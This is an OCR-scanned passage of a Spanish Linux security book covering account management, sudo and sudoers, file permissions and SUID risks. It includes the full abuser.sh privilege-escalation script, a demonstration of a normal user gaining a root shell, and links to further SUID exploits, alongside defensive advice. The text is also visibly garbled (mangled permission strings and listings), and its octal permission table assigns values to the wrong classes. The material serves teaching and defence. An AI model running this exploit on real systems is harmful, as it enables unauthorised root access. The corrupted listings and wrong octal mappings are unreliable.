ritmo defectuoso que, en determinadas circunstancias, asignaba erréneamente
UID equivalentes a root. En el improbable caso de que tenga esta versién, actuali-
cela. Para obtener mas informacién, véase Linux Security FAQ Update del 17 de
octubre de 1995 o dirfjase a la pagina web http:/temp.redhat.com/linux-info/secu-
rity/_linux-security/1995-October/0020.html.

Para utilizar adduser, escriba el comando adduser afiadiéndole un nombre de
usuario:

$ adduser Nicole
adduser hace todo menos definir la contraseia;

Looking for first available UID... 508

Looking for first available GID... 509

Adding login: Nicole...done.

Creating home directory: /home/Nicole...done.
Creating mailbox: /var/spool/mail/Nicole...done.
Don't forget to set the password.
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Para definir la contraseia, escriba el comando passwd con el nombre de usuario.
Por ejemplo, en este caso, el comando seria:

$ passwd nicole
Linux pide la contrasefia y la confirmacién de la misma:

Enter new Unix password:
Enter new Unix password:

adduser asigna automaticamente los valores, incluyendo el UID y el GID. Si desea
un mayor control de la linea de comandos y ha instalado Shadow Suite pruebe con
useradd.

Shadow Suite es un conjunto de herramientas para ocultar la informacién de la con-
trasefia. Habitualmente, Linux almacena toda la informacién del usuario, incluyendo
las contrasefias cifradas, en /etc/passwd. Esta practica es poco segura, ya que expone
las contrasefas cifradas a todos los usuarios (passwd debe poder leerse). Con el méto-
do de shadowing, Linux guarda las contrasefas de los usuarios y deja una marca en
/etc/passwd. En el Capitulo 5 encontrard mds informacion.

Anadir usuarios editando manualmente /etc/passwd

Otra forma de afadir usuarios es editando manualmente /etc/passwd, para lo
que se utiliza una herramienta especial: vipw.
vipw

Siva a editar /etc/passwd manualmente, utilice vipw (abreviatura de vi passwd).

vipw bloquea passwd mientras se realizan modificaciones, con lo que garantiza que
los cambios se realizan de forma segura.

El editor predeterminado de vipw es vi. La Tabla 4.2 describe coémo desplazarse
por vi.

Tabla 4.2 Comandos importantes de teclado de vipw

Comando Resultado

a Indica a vi que empiece a afiadir texto detras del cursor. Este
comando se introduce la primera vez que se inicia vipw. Si no se
inicia, no aparecera texto hasta que se pulse la "s" mindscula.

Ctrl+b Desplazarse hacia arriba pagina a pagina.
Ctrl+f Desplazarse hacia abajo una pagina.
d Si se pulsa una vez, suprime un caracter o un operador. Al pulsarlo

dos veces, suprime toda la linea.
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Tabla 4.2 Comandos importantes de teclado de vipw  (continuacion)

Comando Resultado

D Suprime toda una linea.

I Inicializa el modo de insercion, muy parecido a lo que se hace en ed.

X Notifica a vi que elimine el caracter actual.

X Notifica a vi que elimine el caracter inmediatamente anterior al
cursor.

w Permite saltar de una palabra a otra.

w: Escribe los cambios en el archivo actual.

Mayus+p Pega texto.

Mayus+h Situa el cursor al comienzo del archivo (como la tecla Inicio cuan-

do se utiliza en procesadores de texto).
Mayus+l Le desplaza a la dltima linea del archivo.
w: nombre de archivo  Guarda los cambios en un archivo nuevo.

wq El comando para guardar y salir. Cuando acabe de realizar modifi-
caciones, pulse la tecla Esc e introduzca este comando, y vi guar-
dara los cambios y le devolvera a la shell.

La pantalla de vi se divide en dos secciones o areas. El area de trabajo (donde se
escribe y se modifica el texto) ocupa el 90% de la pantalla. Por contra, la linea de
estado (donde aparecen las estadisticas y los comandos) es una sola linea que se
encuentra en la parte inferior de la pantalla.

La primera vez que se carga vi, comienza en modo comandos. Mientras esté en
este modo, vi reconocera una amplia gama de comandos que llevan a cabo funcio-
nes de busqueda, corte, pegado, supresién e insercién. Para pasar del modo coman-
dos al modo edicion, y viceversa, pulse la tecla Esc.

* ADVERTENCIA

Si es la primera vez que utiliza Linux, pruebe a modificar un archivo que no tenga
ninguna importancia o uno de préctica con vi antes de editar /etc/passwd con vipw,
ya que si comete errores y los envia a /etc/passwd, puede provocar un desastre, como
por ejemplo que Linux no le permita iniciar ninguna sesion.

Si cree que vi es dificil de utilizar, utilice el editor predeterminado de vipw. Por
ejemplo, podria utilizar pico si quisiera, ya que es mucho mas sencillo y se com-
porta como un editor de DOS. En ese caso, debe cambiar la variable de entorno
EDITOR. Para hacerlo en la skell de C, escriba este comando:

S setenv EDITOR pico
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Con ello se define que el editor es pico. A partir de ese momento, cuando llame
a vipw, utilizara pico en su lugar. Para definir pico como el editor predeterminado
de bash, escriba este comando:

Sexport EDITOR=pico

NOTA

Dependiendo del tipo de instalacion que se elija, pico puede instalarse o no. Es una
parte del paquete de cliente de correo pine.

Utilizar herramientas propias para anadir usuarios

Si es ambicioso, puede escribir sus propias herramientas para la creaciéon y
administracion de cuentas (mucha gente lo hace). Sin embargo, a menos que
conozca Linux perfectamente, no es aconsejable.

Independientemente de que sus herramientas "caseras" no sean mas que apli-
caciones para usuario (shell, Perl o scripts wish que ponen una cara a useradd o
adduser) o aplicaciones independientes, hay muchas cosas que pueden ir mal.
Dado que la administracion de cuentas en una tarea critica, sea extremadamente
cuidadoso cuando vaya a desarrollar ese tipo de aplicaciones.

Suprimir usuarios
A menos que el sistema emplee el shadowing de contrasea, los usuarios pueden
eliminarse en dos pasos:

¢ Elimine sus entradas de /etc/passwd.
¢ Elimine su directorio de inicio (/home/username).

Cuando vaya a suprimir la entrada de un usuario de /etc/passwd, no olvide uti-
lizar vipw. En caso contrario, puede eliminar el directorio de un usuario de la
siguiente forma:

rm -r /home/username

NOTA

Si va a eliminar un usuario porque ha sobrepasado la autoridad que tenia asignada,
es aconsejable que conserve una copia de seguridad de sus archivos. De esta forma,
si posteriormente se produce alguna discusion, tendrd todas las de ganar. A veces,
aquellos usuarios cuyas cuentas se han paralizado a causa de alguna actividad sos-
pechosa vuelven a aparecer para causar mds problemas.
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Realizar tareas administrativas con su

Como ya se ha indicado, no utilice nunca la raiz como cuenta personal (a estas
alturas, ya deberia haber creado su propia cuenta para uso personal). Pero con gran
frecuencia necesitara utilizar la potencia de »oot para administrar el sistema, para lo
que debe utilizar su.

su, el usuario sustituto

El comando su permite ejecutar una shell con varios UID y GID que no sean los
suyos (siempre que conozca la contrasena correcta). Por ejemplo, ésta es una for-
ma de convertirse temporalmente en root:

Ssu

Linux le pedira una contraseiia. Si escribe la correcta, su le integrara en una shell
Como raiz.

su tiene algunas opciones importantes en la linea de comandos, que se resumen
en la Tabla 4.3.

Tabla 4.3 Opciones de la linea de comandos de su

Opcioén Propésito

-c [comando] La opcidn -c se utiliza para enviar un comando a la skell. Aqui, su ejecuta el
comando bajo el usuario que se especifique sin que sea necesario iniciar
ninguna skell interactiva, lo que es ttil cuando se desea ejecutar un solo
comando bajo el UID.

--help La opcidn --help se utiliza para obtener un breve resumen de las opciones
validas de su.

-l o -login La opcién -l se utiliza para obtener una shell de conexién de su. Es ligera-
mente diferente a un su estandar, lo que proporciona el nuevo UID, pero
realmente no inicia la sesién como el usuario especificado per se (por
ejemplo, no lleva al directorio de inicio, como haria una conexion real).
Cuando se utiliza la opcién -1, su inicia una shell de inicio de sesiény, a con-
tinuacion, lee y ejecuta los archivos de inicio del usuario.

-p La opcién -p se utiliza para preservar las variables de entorno actuales.
-s La opcion -s se utiliza para especificar una shell determinada durante una
sesion.

Otorgar a otros usuarios acceso limitado similar a su

La cuantia de sus responsabilidades aumentard proporcionalmente al creci-
miento de la red. Si eso ocurre, es posible que en algin momento tenga que dele-
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gar responsabilidades limitadas a otros usuarios. Existe un paquete especial para
este fin: sudo.

sudo

El comando sudo permite a los usuarios elegidos ejecutar determinados coman-
dos como si fueran root.

Aplicacion: sudo
Necesita: sudo + /etc/sudoers + /etc/netgroups + visudo
Archivos de configuracion: /etc/sudoers

Historial de seguridad: el paquete sudo ha tenido pequefos problemas de
seguridad. En las primeras versiones de Debian, sudo permitia a los usuarios eje-
cutar cualquier comando como si fueran root. Se tuvo conocimiento de este hecho
en enero de 1998 y se solucioné poco después (en la version 1.3, 1.5.4-1.1). En junio
de 1998, un investigador independiente verifico que se podia obligar a sudo a reve-
lar comandos de usuario vélidos de sudo a usuarios no autorizados. Funcionaba de
la siguiente forma: si un usuario intentaba ejecutar sudo sin pasar ningun argu-
mento del comando, pero introducia una contrasefia errénea, sudo les dejara col-
gados. Sin embargo, si el mismo usuario (aun sin una contrasena valida) también
pasara un argumento invalido de comando, sudo informaria de que no se encuentra
el comando. Las personas que realicen un ataque podrian utilizar esta técnica para
dilucidar qué comandos habia asignado el root a los usuarios de sudo. Sin embargo,
éste era un problema secundario y ha dejado de ser un motivo de preocupacion.
Para finalizar, de forma predeterminada, sudo almacena la contrasefia del usuario
en la memoria caché durante cinco minutos. Los usuarios han demostrado que en
las siguientes sesiones de dicho tramo horario sudo utilizard la misma contrasefna
para ambas sesiones, lo que podia permitir a los atacantes llevar a cabo un ataque
"piggyback" utilizando la contrasefia de la memoria caché para la autenticacion. La
solucion es reducir el valor de tiempo de espera a 1 (—with-password-timeout=1) y
activar los tickets basados en TTY (—with-tty-tickets) al ejecutar el script configure.
A pesar de estos problemas, sudo tiene funciones de seguridad avanzadas, como la
compatibilidad con contrasefias que se introducen una sola vez y la autenticacion
Kerberos. Sudo es una herramienta muy apropiada para su distribucién en redes
grandes. Para obtener mas informacion, vaya a la pagina de inicio de sudo:
http://www.courtesan.com/sudo/.

Los usuarios entran en el modo sudo escribiendo este comando:
Ssudo

A continuacion, sudo solicita una contrasefia. Si el usuario escribe la correcta,
entra. En caso contrario, sudo registra el intento de acceso.

Los usuarios de sudo también pueden especificar los comandos que se van a ejecutar.
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sudo permite limitar de forma estricta los usuarios que pueden invocarlo y los
comandos que dichos usuarios pueden ejecutar. Estos parametros se especifican en
/etc/sudoers.

/etc/sudoers
/etc/sudoers se estructura en secciones:

¢ Comandos que pueden ejecutar los usuarios de sudo.

¢ Alias de los host, incluyendo hosts, grupos, direcciones IP y redes (si hay
alguna).
o Alias de los usuarios (si hay).

¢ Especificaciones de los usuarios, incluyendo los tipos de host, las IP de los
hosts, la lista de usuarios autorizados y el usuario como el que se ejecuta
(normalmente, root).

Las listas se delimitan mediante comas. Este es un ejemplo desglosado con
marcadores:

# Sample /etc/sudoers file.

# This file MUST be edited with the 'visudo' command as root.

# See the man page for the details on how to write a sudoers file.
# User alias specification

# six users

User_Alias FULLTIMERS=[comma-delimited list of users]

User_Alias PARTTIMERS=[comma-delimited list of users]

# Runas alias specification
# They run as root
Runas_Alias OP=root,operator

# Cmnd alias specification
# Some commands they can run

Cmnd_Alias KILL=/usr/bin/kill

Cmnd_Alias PRINTING=[comma-delimited list of commands]
Cmnd_Alias SHUTDOWN=/usr/etc/shutdown

Cmnd_Alias HALT=/usr/etc/halt,/usr/etc/fasthalt
Cmnd_Alias REBOOT=/usr/etc/reboot, /usr/etc/fastboot
Cmnd_Alias SHELLS=/usr/bin/sh, /usr/bin/csh,[more-shells]
Cmnd_Alias SU=/usr/bin/su

Cmnd_Alias VIPW=/usr/etc/vipw,/etc/vipw, /bin/passwd

# Host alias specification
# Some hosts

Host_Alias CSNETS=[comma-delimited list of host IPs]
Host_Alias CUNETS=[comma-delimited list of host IPs]
##

# User specification
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# root and users in wheel can run anything on any machine as any user
root ALL=(ALL) ALL

swheel ALL=(ALL) ALL

# full time sysadmins can run anything on any machine without a password
FULLTIMERS ALL=NOPASSWD:ALL

Dado que sudoers es un archivo orientado a la seguridad (de forma parecida a
/etc/passwd), hay que tomar precauciones especiales al editarlo. La distribucion
de sudo incluye una herramienta especial disefiada expresamente para este fin:
visudo.

Modificar /etc/sudoers con visudo

visudo se parece mucho a vipw (ya explicado). Su finalidad es proporcionar un
medio limpio y seguro de edicién de /etc/sudoers. visudo bloquea sudoers duran-
te la realizacion de modificaciones y, lo que es mas importante, busca errores de
sintaxis y no permitira enviarlos al disco.

Control de acceso

A continuacion, vamos a explicar rapidamente el control basico de acceso. Con-
trol de acceso es cualquier técnica que otorga o deniega a los usuarios acceso a los
recursos del sistema, entre los que se incluyen archivos, directorios, volumenes,
unidades, servicios, hosts, redes, etc.

Seguidamente, nos centraremos en el control de acceso a archivos y directorios,
en lo que afecta a los usuarios individuales y a los grupos.

Permisos y propiedad

En Linux, el acceso de los usuarios a los distintos archivos y directorios se limi-
ta mediante la concesién de permisos. Hay tres tipos basicos de permisos:

¢ De lectura: permite a los usuarios leer el archivo especificado.

* De escritura: permite a los usuarios modificar el archivo especificado.

¢ De ejecucion: permite a los usuarios ejecutar el archivo especificado.

Cuando se asignan estos permisos, Linux guarda un registro de los mismos que
posteriormente aparece reflejado en las listas de archivos. El estado de los permi-
sos de cada uno de los archivos se expresa mediante marcas. Las marcas de per-
miso son:

® r:acceso de lectura.

* w: acceso de escritura.

® x:acceso de ejecucion.
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Para establecer permisos en un archivo o en un directorio, muéstrelo en forma-

to largo con el comando Is -1. Esta es una salida tipica:

drwxrwxr -x 3 Nicole
drwxr-xr-x 15 root

“TW-rW-r- - 1 Nicole
-PW-r--r-- 1 Nicole
“-rW-r--r-- 1 Nicole
-PW-r--r-- 1 Nicole
“rW-T--P-- 1 Nicole
drwxr-xr-x 3 Nicole
-PWXIWXT - X 1 Nicole

Nicole
root

Nicole
Nicole
Nicole
Nicole
Nicole
Nicole
Nicole

1024 Apr 18
1024 Apr 14
173 Apr 18
674 Feb 5
602 Feb 5
116 Feb 5
234 Feb 5
1024 Jun 2
45 Apr 18

13:10 .
23:22 .

12:36
1997
1997
1997
1997
1998

13:07

.bash_history
.bashrc
.cshrc

.login
.profile

1g
parse_out.pl

Utilizaremos el script de Perl de Nicole, como en el ejemplo. Para ver los permi-

sos, consulte la columna de la izquierda:

-PWXIWXT - X 1 Nicole

Nicole

45 Apr 18 13:07 parse_out.pl

La columna de permisos tiene 10 caracteres. Véase la Figura 4.5.

1

7

Directorio
o archivo

FIGURA 4.5

2 3 4 56 7 8 9 10
Permisos del Permisos Permisos
propietario del grupo del resto

Propiedades de la tabla de permisos.

Como muestra la Figura 4.5, el primer caracter especifica el tipo de recurso. En

este campo:

e _representa un archivo.

¢ b representa un archivo de bloques especial.

* crepresenta un archivo de caracteres especial.

¢ drepresenta un directorio.

¢ | representa un enlace simbolico.

Los nueve caracteres restantes se dividen en tres grupos de tres:

¢ Los permisos del propietario: estos permisos muestran el acceso del propie-

tario al archivo.

e Permisos de grupo: estos permisos muestran el acceso del grupo al archivo.

¢ Permisos mundiales: estos permisos muestran los derechos que tiene el res-
to del mundo a acceder a este archivo (si tiene alguno).
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Vamos a aplicar esto al script de Perl de Nicole. Por ejemplo, es posible ver que
este recurso es un archivo.

-PWXIWXT - X 1 Nicole Nicole 45 Apr 18 13:07 parse_out.pl

Nicole (la propietaria del archivo) tiene todos los derechos de acceso. Puede
leer, escribir y ejecutar este archivo:

-PWXTWXT - X 1 Nicole Nicole 45 Apr 18 13:07 parse_out.pl

De igual modo, los usuarios del grupo (del grupo de Nicole) también pueden
leerlo, escribirlo y ejecutarlo:

- PWXPWXD - X 1 Nicole Nicole 45 Apr 18 13:07 parse_out.pl

Y finalmente, aquellos que no sean Nicole y que no pertenezcan a su grupo solo
pueden leer y ejecutar el archivo, no pueden escribir en él:

- PWXTWXT - X 1 Nicole Nicole 45 Apr 18 13:07 parse_out.pl
Por tanto, en resumen:

¢ El primer caracter indica el tipo de archivo, normalmente un archivo normal
(-) o un directorio (d).

¢ FEl primer conjunto de tres caracteres indica los privilegios del usuario.
¢ Elsiguiente conjunto de tres caracteres indica los privilegios del grupo.

¢ El dltimo conjunto de tres caracteres indica los privilegios del resto de
usuarios.

Estos permisos se establecen con el comando chmod.

chmod: cambiar los permisos de los archivos

Para definir los permisos de un usuario determinado sobre un archivo o un
directorio se utiliza chmod. chmod acepta tres operadores:

* El operador — quita los permisos.

¢ El operador + agrega permisos.

* El operador = asigna permisos.

La Tabla 4.5 resumen los permisos que pueden quitar, agregar o asignar estos
operadores.

Tabla 4.5 Permisos de chmod

Permiso de chmod Explicacién

r El caracter r afiade o quita el permiso de lectura. Ejemplo:
chmod +r nombre de archivo afiade permiso de lectura a nom-
bre de archivo.
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Tabla 4.5 Permisos de chmod (continuacion)

Permiso de chmod Explicacién

w

El caracter w anade o quita el permiso de escritura. Ejemplo:
chmod -w nombre de archivo elimina el permiso de escritura
de nombre de archivo.

El caracter x afiade o quita permiso de ejecuciéon. Ejemplo:
chmod +x nombre de archivo anade el permiso de ejecucion a
nombre de archivo.

Un método consiste en anadir letras (r, w, x) para asignar permisos a archivos
individuales y directorios. Otro es utilizar el sistema octal, donde se pueden anadir
valores octales para crear un conjunto de permisos final.

El sistema octal

En el sistema octal, los numeros representan permisos. La Tabla 4.6 resume el
esquema octal y lo que representa cada nimero.

Tabla 4.6 Valores octales

Valor octal Explicaciéon

0000 Equivale a --- 0 no hay ningun permiso.

0001 Equivale a --x o permiso de ejecucion para el propietario del archivo.

0002 Equivale a --w- o solamente permiso de escritura para el propietario del
archivo.

0004 Equivale a r-- o solamente permiso de lectura para el propietario del archi-
vo.

0010 Equivale al permiso de ejecucion para el grupo, donde el segundo conjun-
to de tres es --x.

0020 Equivale al permiso de escritura para el grupo, donde el segundo conjun-
to de tres es -w-.

0040 Equivale al permiso de lectura para el grupo, donde el segundo conjunto
de tres es r--.

0100 Equivale al permiso de ejecucién para el mundo, donde el segundo con-
junto de tres es --x.

0200 Equivale al permiso de escritura para el mundo, donde el segundo con-
junto de tres es -w-.

0400 Equivale al permiso de lectura para el grupo, donde el segundo conjunto

de tres es r--.
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Tabla 4.6 Valores octales (continuacion)

Valor octal

Explicacion

1000

2000

4000

El modo 1000 es para el "dificil"; se aplica a directorios importantes (como
/tmp). El bit dificil restringe la eliminacién de los archivos a los propieta-
rios del directorio o de los archivos que éste contiene, lo que permite
crear directorios en los que pueden escribir todos los usuarios, aunque se
puede evitar que puedan eliminar los archivos del resto de usuarios (ten-
ga en cuenta que estas restricciones se imponen aun cuando los permisos
del archivo se hayan definido de forma distinta). Los directorios definidos
con el bit dificil se identifican mediante una t en una gran lista, en contra-
posicion a la d habitual.

El modo 2000 aplica el bit SETGID. Véase el apartado "Archivos con per-
misos especiales” de este mismo capitulo.

El modo 4000 aplica el bit SETUID. Véase el apartado "Archivos con per-
misos especiales” de este mismo capitulo.

Si se utilizan valores octales puros, hay que afadirlos juntos, lo que deriva un
numero final que expresa todos los permisos concedidos, Pero para facilitar las
cosas, es posible reducir rapidamente los permisos del propietario, de los grupos y
de otros usuarios a un namero de tres digitos utilizando estos valores:

* 0 =Sin permisos.

¢ 1 =Ejecucién.

e 2 = Escritura.

* 3 =Escrituray ejecucién (actualmente no se utiliza mucho).
® 4 =Lectura.

¢ 5= Lecturay ejecucion.

® 6= Lecturay escritura.

¢ 7 =Todo el conjunto: lectura, escritura y ejecucion.

Por ejemplo, es posible que haya desarrollado un script para distribuirlo en una
intranet. Para que puedan utilizarlo todos los usuarios, tiene que aplicar los permi-

sos adecuados.

Podria hacer algo parecido a esto:

chmod 751 myscript.cgi

En este caso, myscript.cgi lleva las siguientes restricciones de acceso:

¢ El propietario puede leerlo, escribirlo y ejecutarlo (7).

¢ El grupo puede leerlo y ejecutarlo (5).

¢ Elmundo (usuarios externos) solo pueden ejecutarlo (1).
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Toda esta explicacién sobre la definicién de permisos podria dar la impresion de que
es necesario establecer permisos en todos los archivos, pero no es asi. Durante la ins-
talacion, Linux gestiona los permisos de los archivos del sistema operativo. (O mas
bien, Linux descomprime dichos archivos con los mismos permisos que ha estableci-
do el autor de cada aplicacién.) Sin embargo, dichos permisos no son siempre correc-
tos. A veces, los desarrolladores crean los paquetes con permisos que son demasiado
estrictos o, lo que es mds habitual, no suficientemente estrictos. (Estos permisos pue-
den enviarse al sistema al desempaquetarlos.) Como se explica en la seccién siguien-
te, cuando se da este hecho, pueden aparecer problemas de seguridad.

Archivos con permisos especiales
Para finalizar, hay dos permisos especiales para los archivos:

e SGID (define el ID de grupo, 2000 octal 0 S).
* SUID (define el ID de usuario, 4000 octal 0 S).

Los programas con permisos de SGID o SUID son especiales, ya que los permi-
sos de su propietario se respetan aun cuando los ejecuten otros usuarios. Esto es, si
se define el valor root SUID en un programa, éste siempre se ejecutara como root,
aunque lo utilice un usuario normal. Este es el motivo por el que los archivos de
SGID y SUID pueden suponer un riesgo para la seguridad.

Cuando se define el SUID/SGID de un directorio, los usuarios que pertenezcan al
grupo autorizado pueden modificar exclusivamente sus propios archivos de dicho
directorio.

Si los atacantes pueden explotar las debilidades de los programas root de SUID,
potencialmente pueden obtener privilegios de root.

Los archivos SUID se pueden buscar con el siguiente comando:
find / -perm +4000

En una instalacién completa de Caldera OpenLinux 1.1, esta busqueda da como
resultado 81 archivos:

/var/lib/games/trojka.scores
/var/lib/games/xtrojka.score



/usr/lib/games/abuse/abuse.console
/usr/lib/games/abuse/keydrv
/usr/lib/mc/bin/cons.saver
/usr/bin/chfn
fusr/bin/chsh
/usr/bin/newgrp
fusr/bin/rcp
/usr/bin/rlogin
fusr/bin/rsh

/fusr/bin/at
/jusr/bin/rnews
/usr/bin/mh/inc
/fusr/bin/mh/msgchk
fusr/bin/usermount
fusr/bin/passwd
fusr/bin/suidperl
/fusr/bin/sperl5. 003
fusr/bin/sperl4.036
/usr/bin/procmail
/usr/bin/screen
fusr/bin/cu
fusr/bin/uucp
fusr/bin/uuname
fusr/bin/uustat
/usr/bin/uux
/usr/bin/crontab
/usr/bin/zgv
/fusr/games/koules
/usr/games/koules.svga
/usr/games/vga_klondike
/usr/games/vga_ohhell
/usr/games/vga_solitaire
/usr/games/vga_spider
/usr/games/vga_connectN
fusr/games/vga_mines
/usr/games/vga_othello
/usr/games/tetris
/usr/games/zapem
fusr/sbin/timedc
/usr/sbin/inndstart
/usr/sbin/sendmail
/usr/sbin/sliplogin
fusr/sbin/traceroute
/fusr/sbin/uucico
/fusr/sbin/uuxqt
/usr/X11R6/bin/XF86_8514
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fusr/X11R6/bin/XF86_AGX
fusr/X11R6/bin/XF86_1128
/usr/X11R6/bin/XF86_Mach32
/usr/X11R6/bin/XF86_Mach64
fusr/X11R6/bin/XF86_Mach8
/fusr/X11R6/bin/XF86_Mono
/usr/X11R6/bin/XF86_P9000
/usr/X11R6/bin/XF86_S3
/fusr/X11R6/bin/XF86_S3V
fusr/X11R6/bin/XF86_SVGA
fusr/X11R6/bin/XF86_VGA16
fusr/X11R6/bin/XF86_W32
/fusr/X11R6/bin/dga
/fusr/X11R6/bin/xterm
/usr/X11R6/bin/kterm
/usr/X11R6/bin/Xmetro
/usr/X11R6/bin/XConsole
/fusr/X11R6/bin/xcpustate
Jusr/X11R6/bin/rxvt
fusr/X11R6/bin/xterm-color
fusr/libexec/cWnn42/cserver
fusr/libexec/jWnn42/jserver
/usr/libexec/kWnn42/kserver
fusr/libexec/tWnn42/tserver
/bin/su

/bin/login

/bin/ping

/bin/mount

/bin/umount

/sbin/dump

/sbin/restore
/sbin/isdnbutton
/sbin/cardctl

Algunos de estos archivos representan serios agujeros en la seguridad. Por
ejemplo, fijese en esta entrada:

jusr/lib/games/abuse/abuse.console

Esta entrada (que también se encuentra en Red Hat 2.1) puede ofrecer a los ata-
cantes acceso a la skell de root. David J. Meltzer, de la Carnegie Mellon University,
escribi6 un magnifico exploit llamado abuser.sh que demuestra la vulnerabilidad.
Este es el script:

#!/bin/sh

#

# abuser.sh

# exploits a security hole in abuse to create
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# a suid root shell /tmp/abuser on a linux

# Red Hat 2.1 system with the games package
# installed.
#
#
#

by Dave M. (davem@cmu.edu)

abuser.sh - gain root on Linux Red Hat 2.1 system
Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console

then

echo ++++++++++++++++ System appears vulnerable.
cd /tmp

cat << _EOF_ > /tmp/undrv

#!/bin/sh

/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser

_EOF_

chmod +x /tmp/undrv

PATH=/tmp

echo ================ Executing Abuse

fusr/lib/games/abuse/abuse.console

/bin/rm /tmp/undrv

if test -u /tmp/abuser

then

echo ++++++++++ Exploit successful, suid shell located in /tmp/abuser
else

echo —————- Exploit failed

fi

else

echo —— — — — This machine does not appear to be vulnerable.
Fi

Vamos a probarlo. Antes de empezar, inicie la sesion como Nicole (un usuario
normal sin privilegios especiales) y verifique su identidad:

Swhoami

Nicole
A continuacion, ejecute el script de Meltzer:

$ abuser.sh

Here's the output:

abuser.sh

================ apuser.sh - gain root on Linux Red Hat 2.1 system
================ (Checking system vulnerability

++++++++++++++++ System appears vulnerable.

================ Executing Abuse
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Abuse (Engine Version 1.10)

sh: 1lnx_sdrv: command not found

sound effects driver returned failure, sound effects disabled
Added himem block (400000@ bytes)

could not run undrv, please make sure it's in your path

No network driver, or network driver returned failure

Specs : main file set to abuse.spe

Lisp : 501 symbols defined, 99 system functions, 295 pre-compiled
functions

Unable to open filename art/dev.spe for requested item c_mouse1
+++++++++++++4+4+4+ Exploit successful, suid shell located in /tmp/abuser

Aunque el script informa de que hay errores (ya que no es Red Hat sino Calde-
ra), ha creado una nueva shell de root en /tmp/abuser. Al visualizar /tmp/abuser (Is
| /tmp/abuser) aparece lo siguiente:

- TWSTWXIWX 1 root Nicole 302468 Apr 20 12:38
w /tmp/abuser

Y si vuelve a comprobar la identidad, se dara cuenta de que han cambiado cier-
tos factores:

$ whoami

root

Nicole ya es root y se puede volver a utilizar el ejecutable abuser de /tmp. El
exploit ha tardado menos de dos segundos.

Observe que el ataque de Meltzer no habria funcionado si las particiones /tmp y
/home se hubieran montado como no setuid.

Protegerse contra ataques basados en SUID y SGID

Es posible protegerse contra dichos ataques con un método de cuatro flancos o
con un sistema de seleccion:

* Pocos programas deben ser de SUID. Aquellos que deban serlo obligatoria-
mente deben tener su propio grupo.
e Aseglrese de que no se puede escribir en los scripts de SUID.

¢ En el caso de los programas de SUID que no necesiten imperiosamente que
se defina el SUID, cambie sus permisos (chmod -s [program]).

¢ En el caso de los programas de SUID que sean en gran parte inttiles o no
esenciales (como los juegos en un equipo de la empresa), eliminelos o
desinstalelos.
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Finalmente, si tiene espiritu aventurero, investigue Generic Wrapper (v.2) de
SUID/SGID de Joe Zbiciak, que se ha disefiado especificamente para proteger los
archivos de SUID/SGID de los ataques. Puede encontrar el empaquetador de Zbi-
ciak (con su cédigo fuente) en http://cegt201.bradley.edu/~im14u2c/wrapper/.

Existen varios scripts que comprueban periédicamente los dltimos archivos de SUID
y natifican su existencia. suid.chk es uno de ellos y puede obtenerse en
http://www.biologie.uni-freiburg.de/data/suid.html. Para obtener informacién acerca
de herramientas automatizadas que descubren SUID/SGID y otros problemas rela-
cionados con los permisos, véase el Capitulo 8, "Scanners".

Algunos puntos vulnerables conocidos relacionados con SUID

Desgraciadamente, no existe ninguna lista universal de programas relaciona-
dos. Sin embargo, la Tabla 4.7 muestra algunos problemas de los que se tiene

constancia.

Tabla 4.7 Debilidades conocidas de Linux relacionadas con SUID

Programa

Detalles

/usr/bin/convfont

crond

cxterm

deliver

dip 3.3.7i

En algunos sistemas, /usr/bin/convfont es el root de SUID. Puede llevar
a una shell de root. El exploit puede obtenerse en la direccién
http://www.psychicfriends.net/~cyber/_linux/convfontExploit.sh.

En SlackWare 3.4, crond es vulnerable a un ataque cuyo resuitado es
una shell root de SUID. La solucién es actualizarlo. El exploit se encuen-
tra en http://www.jabukie.com/Unix_Sourcez/dilloncrond.c.html.

cxterm (SlackWare 3.1, 3.2) es root de SUID y necesita serlo. Sin
embargo, es vulnerable a un desbordamiento de buffer que, cuando se
explota, da como resultado una root de SUID. La solucién es actuali-
zarlo. El exploit se encuentra en http://www.geek-girl.com/bug-
tragq/19972/0245 .html.

deliver es una herramienta que distribuye correo remoto a destinata-
rios locales. En las versiones 2.0.12 y anteriores, deliver es vulnerable
a un desbordamiento de buffer tanto en Debian como en SlackWare.
Este hecho es importante, ya que deliver es root de SUID. La solucién
es actualizarlo.

En SlackWare 2.1.0, dip (una utilidad para gestionar sesiones de PPP)
era setuid y ejecutable en todo el mundo. Ademas, dip 3.3.70 en Slack-
Ware 3.4 es 700t de SUID y vulnerable. Solucion: actualizarlo. El exploit
se encuentra en http:/safenetworks.com/Linux/dip4.html.
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Tabla 4.7 Debilidades conocidas de Linux relacionadas con SUID

(continuacion)

Programa

Detalles

dos

dump

gnuplot

Ideafix

Protector de

pantallas de KDE

killmouse

kppp

libXt

linuxconf

s-povray

startmouse

En los primeros paquetes de Debian, en el paquete DOSEMU
(0.64.0.2-9), /usr/sbin/dos es root de SUID. La solucién es eliminar el
permiso de SUID.

dump (en Red Hat 2.1) es root de SUID. Solucién: anular SUID. El
exploit se encuentra en http://samarac.hfactorx.org/Exploits/dumpEx-
ploit.txt.

Algunas distribuciones de Linux (como SuSE 5.2) incluyen el »oot de
SUID gnuplot. Este es un ejemplo tipico en el que un programa es root
de SUID sin ninguna buena razon para ello. La solucion: chmod -s
/ust/bin/gnuplot. El exploit se puede encontrar en http://safenet-
works.com/Linux/gnuplot.html.

Ideafix es un conjunto de herramientas de desarrollo. Dentro de dicho
conjunto se encuentra el programa wm, que tiene un punto vulnerable
que conduce a una shell root de SUID. Puede obtener mas informacion
en http://www.njh.com/latest/9710/971019-04.html.

Los protectores de pantalla de K Desktop (KDE) 1.0 en Caldera Open-
Linux ejecutaban el root de SUID. Puede encontrar mas informacion
en http://www.calderasystems.com/news/security/SA-1998.37.txt o
consultando Caldera Security Advisory SA-1998.37.

killmouse (de Doom) ejecuta varios scripts de SUID. Solucién: elimi-
nar SUID (véase startmouse).

kppp se incluye con K Desktop. Es una utilidad para configurar las
redes de acceso telefénico en KDE. Es vulnerable a los desborda-
mientos y ejecuta el root de SUID. Solucién: no lo ejecute en el root de
SUID. El exploit se encuentra en http://www.student.fsu.umd.edu/
~damoulan/hack/sploits/kpppoverflow.html.

Los programas creados con las bibliotecas compartidas X11R6 de
XFree86 anteriores a la version 3.3 pueden ser vulnerables a desbor-
damientos de buffer que pueden conducir a roof en los archivos de
SUID o de SGID. Solucion: actualizar.

linuxconf (en Red Hat 5.1) es root de SUID. Solucion: eliminar el per-
